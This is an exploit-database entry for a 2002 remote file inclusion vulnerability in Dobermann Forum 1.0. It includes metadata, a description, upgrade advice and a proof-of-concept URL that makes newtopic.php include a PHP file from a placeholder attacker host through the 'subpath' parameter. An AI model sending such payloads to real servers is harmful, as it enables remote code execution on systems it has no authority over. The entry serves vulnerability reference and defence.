header-logo
Suggest Exploit
vendor:
Dobermann Forum
by:
SecurityFocus
7.5
CVSS
HIGH
Remote File Inclusion
98
CWE
Product Name: Dobermann Forum
Affected Version From: Dobermann Forum 1.0
Affected Version To: Dobermann Forum 1.0
Patch Exists: YES
Related CWE: CVE-2002-1490
CPE: cpe:a:dobermann_forum:dobermann_forum:1.0
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: None
2002

Dobermann Forum Remote File Inclusion Vulnerability

Dobermann Forum is vulnerable to a Remote File Inclusion vulnerability which allows an attacker to include arbitrary files located on remote servers. This vulnerability is present in several PHP script files provided with Dobermann. An attacker can exploit this by supplying a path to a file on a remote host as a value for the 'subpath' parameter.

Mitigation:

Upgrade to the latest version of Dobermann Forum.
Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/6057/info
   
Dobermann Forum is prone to an issue which may allow remote attackers to include arbitrary files located on remote servers. This issue is present in several PHP script files provided with Dobermann. An attacker may exploit this by supplying a path to a file on a remote host as a value for the 'subpath' parameter.

http://[target]/newtopic.php?subpath=http://[attacker]/banniere.php

Navigation

Suggest Exploit

Services By CQR